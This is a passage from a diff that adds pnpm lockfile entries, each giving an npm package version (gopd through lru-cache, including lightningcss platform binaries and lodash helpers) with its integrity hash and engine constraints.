+ resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==}
+ engines: {node: '>= 0.4'}
+
+ gopd@1.2.0:
+ resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==}
+ engines: {node: '>= 0.4'}
+
+ graceful-fs@4.2.11:
+ resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}
+
+ has-bigints@1.1.0:
+ resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==}
+ engines: {node: '>= 0.4'}
+
+ has-flag@4.0.0:
+ resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==}
+ engines: {node: '>=8'}
+
+ has-property-descriptors@1.0.2:
+ resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==}
+
+ has-proto@1.2.0:
+ resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==}
+ engines: {node: '>= 0.4'}
+
+ has-symbols@1.1.0:
+ resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==}
+ engines: {node: '>= 0.4'}
+
+ has-tostringtag@1.0.2:
+ resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==}
+ engines: {node: '>= 0.4'}
+
+ hasown@2.0.2:
+ resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==}
+ engines: {node: '>= 0.4'}
+
+ http-errors@1.7.3:
+ resolution: {integrity: sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==}
+ engines: {node: '>= 0.6'}
+
+ http-proxy-agent@7.0.2:
+ resolution: {integrity: sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==}
+ engines: {node: '>= 14'}
+
+ https-proxy-agent@7.0.6:
+ resolution: {integrity: sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==}
+ engines: {node: '>= 14'}
+
+ human-signals@1.1.1:
+ resolution: {integrity: sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==}
+ engines: {node: '>=8.12.0'}
+
+ human-signals@2.1.0:
+ resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==}
+ engines: {node: '>=10.17.0'}
+
+ iconv-lite@0.4.24:
+ resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==}
+ engines: {node: '>=0.10.0'}
+
+ iconv-lite@0.6.3:
+ resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==}
+ engines: {node: '>=0.10.0'}
+
+ iconv-lite@0.7.1:
+ resolution: {integrity: sha512-2Tth85cXwGFHfvRgZWszZSvdo+0Xsqmw8k8ZwxScfcBneNUraK+dxRxRm24nszx80Y0TVio8kKLt5sLE7ZCLlw==}
+ engines: {node: '>=0.10.0'}
+
+ ieee754@1.2.1:
+ resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==}
+
+ ignore@5.3.2:
+ resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==}
+ engines: {node: '>= 4'}
+
+ ignore@7.0.5:
+ resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==}
+ engines: {node: '>= 4'}
+
+ import-fresh@3.3.1:
+ resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==}
+ engines: {node: '>=6'}
+
+ imurmurhash@0.1.4:
+ resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==}
+ engines: {node: '>=0.8.19'}
+
+ inherits@2.0.4:
+ resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
+
+ internal-slot@1.1.0:
+ resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==}
+ engines: {node: '>= 0.4'}
+
+ is-array-buffer@3.0.5:
+ resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==}
+ engines: {node: '>= 0.4'}
+
+ is-async-function@2.1.1:
+ resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==}
+ engines: {node: '>= 0.4'}
+
+ is-bigint@1.1.0:
+ resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==}
+ engines: {node: '>= 0.4'}
+
+ is-boolean-object@1.2.2:
+ resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==}
+ engines: {node: '>= 0.4'}
+
+ is-buffer@2.0.5:
+ resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==}
+ engines: {node: '>=4'}
+
+ is-bun-module@2.0.0:
+ resolution: {integrity: sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==}
+
+ is-callable@1.2.7:
+ resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==}
+ engines: {node: '>= 0.4'}
+
+ is-core-module@2.16.1:
+ resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==}
+ engines: {node: '>= 0.4'}
+
+ is-data-view@1.0.2:
+ resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==}
+ engines: {node: '>= 0.4'}
+
+ is-date-object@1.1.0:
+ resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==}
+ engines: {node: '>= 0.4'}
+
+ is-docker@3.0.0:
+ resolution: {integrity: sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==}
+ engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
+ hasBin: true
+
+ is-extglob@2.1.1:
+ resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}
+ engines: {node: '>=0.10.0'}
+
+ is-finalizationregistry@1.1.1:
+ resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==}
+ engines: {node: '>= 0.4'}
+
+ is-generator-function@1.1.2:
+ resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==}
+ engines: {node: '>= 0.4'}
+
+ is-glob@4.0.3:
+ resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}
+ engines: {node: '>=0.10.0'}
+
+ is-inside-container@1.0.0:
+ resolution: {integrity: sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==}
+ engines: {node: '>=14.16'}
+ hasBin: true
+
+ is-map@2.0.3:
+ resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==}
+ engines: {node: '>= 0.4'}
+
+ is-negative-zero@2.0.3:
+ resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==}
+ engines: {node: '>= 0.4'}
+
+ is-node-process@1.2.0:
+ resolution: {integrity: sha512-Vg4o6/fqPxIjtxgUH5QLJhwZ7gW5diGCVlXpuUfELC62CuxM1iHcRe51f2W1FDy04Ai4KJkagKjx3XaqyfRKXw==}
+
+ is-number-object@1.1.1:
+ resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==}
+ engines: {node: '>= 0.4'}
+
+ is-number@7.0.0:
+ resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}
+ engines: {node: '>=0.12.0'}
+
+ is-property@1.0.2:
+ resolution: {integrity: sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==}
+
+ is-regex@1.2.1:
+ resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==}
+ engines: {node: '>= 0.4'}
+
+ is-set@2.0.3:
+ resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==}
+ engines: {node: '>= 0.4'}
+
+ is-shared-array-buffer@1.0.4:
+ resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==}
+ engines: {node: '>= 0.4'}
+
+ is-stream@2.0.1:
+ resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==}
+ engines: {node: '>=8'}
+
+ is-string@1.1.1:
+ resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==}
+ engines: {node: '>= 0.4'}
+
+ is-symbol@1.1.1:
+ resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==}
+ engines: {node: '>= 0.4'}
+
+ is-typed-array@1.1.15:
+ resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==}
+ engines: {node: '>= 0.4'}
+
+ is-weakmap@2.0.2:
+ resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==}
+ engines: {node: '>= 0.4'}
+
+ is-weakref@1.1.1:
+ resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==}
+ engines: {node: '>= 0.4'}
+
+ is-weakset@2.0.4:
+ resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==}
+ engines: {node: '>= 0.4'}
+
+ is-wsl@3.1.0:
+ resolution: {integrity: sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw==}
+ engines: {node: '>=16'}
+
+ isarray@2.0.5:
+ resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}
+
+ isexe@2.0.0:
+ resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}
+
+ iterator.prototype@1.1.5:
+ resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==}
+ engines: {node: '>= 0.4'}
+
+ jest-worker@27.5.1:
+ resolution: {integrity: sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==}
+ engines: {node: '>= 10.13.0'}
+
+ jiti@2.6.1:
+ resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==}
+ hasBin: true
+
+ jose@5.9.6:
+ resolution: {integrity: sha512-AMlnetc9+CV9asI19zHmrgS/WYsWUwCn2R7RzlbJWD7F9eWYUTGyBmU9o6PxngtLGOiDGPRu+Uc4fhKzbpteZQ==}
+
+ js-md4@0.3.2:
+ resolution: {integrity: sha512-/GDnfQYsltsjRswQhN9fhv3EMw2sCpUdrdxyWDOUK7eyD++r3gRhzgiQgc/x4MAv2i1iuQ4lxO5mvqM3vj4bwA==}
+
+ js-tokens@4.0.0:
+ resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==}
+
+ js-yaml@4.1.1:
+ resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==}
+ hasBin: true
+
+ jsbi@4.3.2:
+ resolution: {integrity: sha512-9fqMSQbhJykSeii05nxKl4m6Eqn2P6rOlYiS+C5Dr/HPIU/7yZxu5qzbs40tgaFORiw2Amd0mirjxatXYMkIew==}
+
+ json-buffer@3.0.1:
+ resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==}
+
+ json-parse-even-better-errors@2.3.1:
+ resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==}
+
+ json-schema-to-ts@1.6.4:
+ resolution: {integrity: sha512-pR4yQ9DHz6itqswtHCm26mw45FSNfQ9rEQjosaZErhn5J3J2sIViQiz8rDaezjKAhFGpmsoczYVBgGHzFw/stA==}
+
+ json-schema-traverse@0.4.1:
+ resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==}
+
+ json-schema-traverse@1.0.0:
+ resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==}
+
+ json-stable-stringify-without-jsonify@1.0.1:
+ resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==}
+
+ json5@1.0.2:
+ resolution: {integrity: sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==}
+ hasBin: true
+
+ json5@2.2.3:
+ resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==}
+ engines: {node: '>=6'}
+ hasBin: true
+
+ jsonfile@6.2.0:
+ resolution: {integrity: sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==}
+
+ jsonwebtoken@9.0.3:
+ resolution: {integrity: sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==}
+ engines: {node: '>=12', npm: '>=6'}
+
+ jsx-ast-utils@3.3.5:
+ resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==}
+ engines: {node: '>=4.0'}
+
+ jwa@2.0.1:
+ resolution: {integrity: sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==}
+
+ jws@4.0.1:
+ resolution: {integrity: sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==}
+
+ keyv@4.5.4:
+ resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==}
+
+ language-subtag-registry@0.3.23:
+ resolution: {integrity: sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==}
+
+ language-tags@1.0.9:
+ resolution: {integrity: sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==}
+ engines: {node: '>=0.10'}
+
+ levn@0.4.1:
+ resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==}
+ engines: {node: '>= 0.8.0'}
+
+ lightningcss-android-arm64@1.30.2:
+ resolution: {integrity: sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm64]
+ os: [android]
+
+ lightningcss-darwin-arm64@1.30.2:
+ resolution: {integrity: sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm64]
+ os: [darwin]
+
+ lightningcss-darwin-x64@1.30.2:
+ resolution: {integrity: sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [x64]
+ os: [darwin]
+
+ lightningcss-freebsd-x64@1.30.2:
+ resolution: {integrity: sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [x64]
+ os: [freebsd]
+
+ lightningcss-linux-arm-gnueabihf@1.30.2:
+ resolution: {integrity: sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm]
+ os: [linux]
+
+ lightningcss-linux-arm64-gnu@1.30.2:
+ resolution: {integrity: sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm64]
+ os: [linux]
+
+ lightningcss-linux-arm64-musl@1.30.2:
+ resolution: {integrity: sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm64]
+ os: [linux]
+
+ lightningcss-linux-x64-gnu@1.30.2:
+ resolution: {integrity: sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [x64]
+ os: [linux]
+
+ lightningcss-linux-x64-musl@1.30.2:
+ resolution: {integrity: sha512-XJaLUUFXb6/QG2lGIW6aIk6jKdtjtcffUT0NKvIqhSBY3hh9Ch+1LCeH80dR9q9LBjG3ewbDjnumefsLsP6aiA==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [x64]
+ os: [linux]
+
+ lightningcss-win32-arm64-msvc@1.30.2:
+ resolution: {integrity: sha512-FZn+vaj7zLv//D/192WFFVA0RgHawIcHqLX9xuWiQt7P0PtdFEVaxgF9rjM/IRYHQXNnk61/H/gb2Ei+kUQ4xQ==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [arm64]
+ os: [win32]
+
+ lightningcss-win32-x64-msvc@1.30.2:
+ resolution: {integrity: sha512-5g1yc73p+iAkid5phb4oVFMB45417DkRevRbt/El/gKXJk4jid+vPFF/AXbxn05Aky8PapwzZrdJShv5C0avjw==}
+ engines: {node: '>= 12.0.0'}
+ cpu: [x64]
+ os: [win32]
+
+ lightningcss@1.30.2:
+ resolution: {integrity: sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ==}
+ engines: {node: '>= 12.0.0'}
+
+ loader-runner@4.3.1:
+ resolution: {integrity: sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q==}
+ engines: {node: '>=6.11.5'}
+
+ loader-utils@2.0.4:
+ resolution: {integrity: sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==}
+ engines: {node: '>=8.9.0'}
+
+ locate-path@6.0.0:
+ resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==}
+ engines: {node: '>=10'}
+
+ lodash.includes@4.3.0:
+ resolution: {integrity: sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==}
+
+ lodash.isboolean@3.0.3:
+ resolution: {integrity: sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==}
+
+ lodash.isinteger@4.0.4:
+ resolution: {integrity: sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==}
+
+ lodash.isnumber@3.0.3:
+ resolution: {integrity: sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==}
+
+ lodash.isplainobject@4.0.6:
+ resolution: {integrity: sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==}
+
+ lodash.isstring@4.0.1:
+ resolution: {integrity: sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==}
+
+ lodash.merge@4.6.2:
+ resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==}
+
+ lodash.once@4.1.1:
+ resolution: {integrity: sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==}
+
+ lodash@4.17.21:
+ resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==}
+
+ long@5.3.2:
+ resolution: {integrity: sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==}
+
+ loose-envify@1.4.0:
+ resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==}
+ hasBin: true
+
+ lru-cache@11.2.4:
+ resolution: {integrity: sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg==}
+ engines: {node: 20 || >=22}
+
+ lru-cache@6.0.0:
+ resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==}
+ engines: {node: '>=10'}
+
